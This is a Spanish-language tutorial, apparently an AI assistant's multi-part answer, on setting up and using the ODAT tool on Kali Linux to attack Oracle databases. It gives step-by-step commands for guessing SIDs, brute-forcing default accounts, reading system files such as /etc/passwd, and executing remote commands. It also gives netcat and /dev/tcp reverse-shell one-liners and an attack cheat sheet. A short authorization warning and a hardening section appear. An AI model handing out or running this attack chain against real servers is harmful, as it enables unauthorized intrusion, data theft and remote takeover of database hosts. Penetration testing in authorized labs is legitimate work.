Kali Linux y ODAT en Español
Kali Linux y ODAT en Español
Entiendo que estás buscando información sobre Kali Linux, posiblemente con un enfoque en herramientas de red o auditoría (considerando el término "odat").
Si te refieres a la herramienta ODAT (Oracle Database Attacking Tool), es una de las más potentes incluidas o compatibles con Kali para realizar pruebas de penetración en bases de datos Oracle.
Aquí tienes un resumen rápido para que te pongas al día:
¿Qué es Kali Linux?
Kali es una distribución basada en Debian diseñada específicamente para la seguridad informática. No es un sistema operativo para uso diario (como ver pelis o escribir tareas), sino una "navaja suiza" para profesionales de ciberseguridad.
ODAT: Oracle Database Attacking Tool
ODAT es una herramienta de código abierto escrita en Python que permite enumerar y explotar vulnerabilidades en bases de datos Oracle. Es fundamental porque estas bases de datos suelen contener la información más crítica de una empresa.
¿Qué puedes hacer con ODAT?
Enumerar usuarios: Averiguar qué cuentas existen.
Ataques de fuerza bruta: Probar contraseñas comunes.
Subida/Descarga de archivos: Si tienes suficientes privilegios, puedes mover archivos al servidor.
Ejecución de comandos: Intentar ejecutar comandos del sistema operativo a través de la base de datos (escalada de privilegios).
Cómo empezar (Comandos básicos)
Si ya tienes Kali, usualmente puedes instalar o actualizar ODAT y sus dependencias de la siguiente manera:
Instalación:
sudo apt update && sudo apt install odatEscaneo básico (SID Guessing):
Para saber el identificador de la base de datos:
odat sidguesser -s <IP_del_servidor>Ataque de contraseñas:
odat passwordguesser -s <IP_del_servidor> -d <SID> --accounts-file accounts.txt
Un par de consejos de "colega":
Entorno seguro: No pruebes ODAT en servidores ajenos sin autorización previa (es ilegal y te puedes meter en líos serios). Úsalo en entornos controlados como Hack The Box o TryHackMe.
Dependencias: A veces ODAT da guerra con las librerías de Oracle (
instantclient). Asegúrate de tener configuradas las variables de entorno de Python correctamente.
Configurar el Oracle Instant Client es el paso donde casi todo el mundo se rinde porque es un poco tedioso, pero es vital para que las funciones avanzadas de ODAT (como la ejecución de comandos o la carga de archivos) funcionen.
Sigue estos pasos en tu terminal de Kali:
1. Descargar los paquetes necesarios
Oracle no permite la descarga directa por consola fácilmente, así que necesitas bajar los archivos .zip desde la página oficial de Oracle.
Necesitas estos dos (versión 19.x o 21.x recomendada):
Instant Client Package - Basic (ej:
instantclient-basic-linux.x64-21.1.0.0.0.zip)Instant Client Package - SDK (ej:
instantclient-sdk-linux.x64-21.1.0.0.0.zip)
2. Preparar el directorio
Una vez descargados, abre tu terminal y muévelos a una carpeta organizada:
sudo mkdir -p /opt/oracle
sudo cp instantclient-*.zip /opt/oracle/
cd /opt/oracle
sudo unzip instantclient-basic-linux.x64-21.1.0.0.0.zip
sudo unzip instantclient-sdk-linux.x64-21.1.0.0.0.zip
(Esto creará una carpeta llamada instantclient_21_1 o similar).
3. Instalar dependencias de sistema
Para que Kali no se queje de archivos faltantes, instala libaio:
sudo apt update
sudo apt install libaio1 python3-dev build-essential
4. Configurar las Variables de Entorno
Este es el paso más importante. Necesitamos decirle a Kali dónde están las herramientas de Oracle. Edita tu archivo de configuración (si usas la terminal por defecto de Kali, es .zshrc):
Abre el archivo:
nano ~/.zshrcVe al final del archivo y pega estas líneas (ajusta el nombre de la carpeta si es diferente):
export ORACLE_HOME=/opt/oracle/instantclient_21_1
export LD_LIBRARY_PATH=$ORACLE_HOME:$LD_LIBRARY_PATH
export PATH=$ORACLE_HOME:$PATH
Guarda (Ctrl+O, Enter) y sal (Ctrl+X).
Aplica los cambios:
source ~/.zshrc
5. Instalar la librería para Python (cx_Oracle)
ODAT usa Python para hablar con Oracle, así que instalamos el "traductor":
pip3 install cx_Oracle
¿Cómo saber si funcionó?
Escribe odat -h en tu terminal. Si el menú de ayuda aparece sin errores de "Oracle client library not found", ¡estás listo para la acción!
Perfecto, ahora que el motor de ODAT tiene sus "piezas" (las librerías de Oracle) bien puestas, vamos a la acción.
El primer paso real en una auditoría de Oracle es el "Guessing" (adivinación). Oracle es un poco particular: para entrar no solo necesitas usuario y contraseña, también necesitas saber el SID (System ID) o el Service Name, que es básicamente el nombre de la instancia de la base de datos.
Aquí tienes la secuencia lógica de ataque con ODAT:
Paso 1: Localizar el SID (sidguesser)
Si no conoces el nombre de la base de datos, no puedes ni intentar el login. ODAT trae una lista de nombres comunes por defecto.
odat sidguesser -s <IP_DEL_SERVIDOR> -p 1521
-s: La IP del objetivo.
-p: El puerto (1521 es el estándar de Oracle).
Paso 2: Ataque de contraseñas (passwordguesser)
Una vez que tienes el SID (supongamos que es XE o ORCL), vamos a probar credenciales. Oracle es famoso por tener cuentas por defecto como SYS, SYSTEM, o SCOTT.
odat passwordguesser -s <IP_DEL_SERVIDOR> -p 1521 -d <SID_ENCONTRADO> --accounts-file accounts.txt
Tip de experto: ODAT ya viene con una lista interna, pero puedes usar
--built-in-accountspara probar las más de 500 combinaciones de fábrica que suelen olvidar los administradores.
Paso 3: ¡Explotación! (El módulo utlfile)
Si logras entrar con un usuario que tenga permisos (como SYSDBA), aquí es donde se pone divertido. Puedes intentar leer archivos del sistema operativo (como el /etc/shadow en Linux o archivos de configuración).
odat utlfile -s <IP_DEL_SERVIDOR> -p 1521 -d <SID> -U <USER> -P <PASS> --sysdba --read "/etc/passwd"
Resumen de comandos útiles
| Módulo | Función |
tnscmd | Información del "Listener" (versión, configuración). |
dbmsxmin | Intentar leer archivos XML o archivos del sistema. |
externaltable | Peligroso: Permite ejecutar comandos de sistema (RCE). |
Un detalle importante:
Si al ejecutar estos comandos recibes un error tipo cx_Oracle.DatabaseError: DPI-1047, significa que el sistema aún no encuentra las librerías que configuramos antes. Suele arreglarse reiniciando la terminal o ejecutando sudo ldconfig.
¡Aquí es donde ODAT se convierte en una herramienta "mágica"! Si has conseguido credenciales (o has encontrado unas por defecto), el siguiente paso es intentar el RCE (Remote Code Execution).
En Oracle, esto no es tan directo como en otros sistemas, pero ODAT automatiza varios métodos. El más común y efectivo es usar External Tables.
Escenario: Ejecutar comandos de sistema (RCE)
Imagina que ya sabes que el usuario es sys, la contraseña es oracle y el SID es xe. Quieres saber quién eres en el sistema operativo (ejecutar whoami).
1. El comando maestro (externaltable)
Este módulo crea una "tabla temporal" que, en lugar de leer datos, ejecuta un script en el servidor:
odat externaltable -s <IP> -p 1521 -d xe -U sys -P oracle --sysdba --exec "whoami"
--sysdba: Indica que te conectas con privilegios de administrador (necesario para este módulo).
--exec: El comando que quieres que el servidor de base de datos ejecute.
2. Otros métodos de ejecución
Si el anterior falla por permisos, ODAT tiene "balas" de reserva:
Módulo
dbms_scheduler: Usa el programador de tareas de Oracle para lanzar procesos.Bashodat dbms_scheduler -s <IP> -d xe -U sys -P oracle --sysdba --exec "nc -e /bin/sh <TU_IP> 4444"(Este ejemplo intentaría mandarte una Reverse Shell usando Netcat).
Módulo
java: Si la base de datos tiene Java habilitado (muy común), puedes inyectar código Java para ejecutar comandos.
¿Cómo protegerse? (La parte ética)
Como experto en seguridad, si encuentras esto en una auditoría, tu recomendación debe ser:
Principio de mínimo privilegio: No permitas que el servicio de Oracle corra como
rootoAdministratoren el sistema operativo.Cambiar contraseñas por defecto: Es la vulnerabilidad número uno.
Deshabilitar paquetes peligrosos: Si no se usan, desactiva
DBMS_SCHEDULERo el soporte de Java dentro de la base de datos.
Último consejo: El Log de Oracle
Ten en cuenta que estas acciones dejan mucho rastro en los archivos alert.log de la base de datos. Un buen Administrador de Bases de Datos (DBA) verá que alguien ha estado creando tablas externas o tareas programadas raras.
Aquí tienes una "Chuleta" (Cheat Sheet) rápida con los comandos de ODAT que más vas a usar en el día a día de una auditoría.
Guárdala o cópiala en tus notas de Kali, porque te ahorrará mucho tiempo buscando en la ayuda de la herramienta.
🛠️ ODAT Cheat Sheet (Guía Rápida)
| Acción | Comando ODAT | Notas Clave |
| 1. Buscar el SID | odat sidguesser -s <IP> | El primer paso: sin SID no hay conexión. |
| 2. Fuerza Bruta | odat passwordguesser -s <IP> -d <SID> --built-in-accounts | Prueba usuarios/passwords de fábrica de Oracle. |
| 3. Leer Archivos | odat utlfile -s <IP> -d <SID> -U <U> -P <P> --sysdba --read "/etc/passwd" | Útil para extraer info del Sistema Operativo. |
| 4. Ejecutar Comandos | odat externaltable -s <IP> -d <SID> -U <U> -P <P> --sysdba --exec "id" | El "Santo Grial": RCE (Ejecución remota). |
| 5. Escalar privilegios | odat privesc -s <IP> -d <SID> -U <U> -P <P> --sysdba | Intenta subir de usuario normal a DBA. |
💡 Tips Pro para que no falle:
El flag
--sysdba: Úsalo siempre que creas que las credenciales son de administrador (comosysosystem). Si no lo pones, muchas funciones de explotación fallarán aunque la contraseña sea correcta.Puertos no estándar: Si el administrador cambió el puerto 1521, usa el flag
-p <puerto>en todos los comandos.Reverse Shell rápida: Si logras ejecución de comandos, intenta este "one-liner" para obtener el control total desde tu Kali (asegúrate de tener
nc -lvnp 4444escuchando):--exec "bash -i >& /dev/tcp/<TU_IP>/4444 0>&1"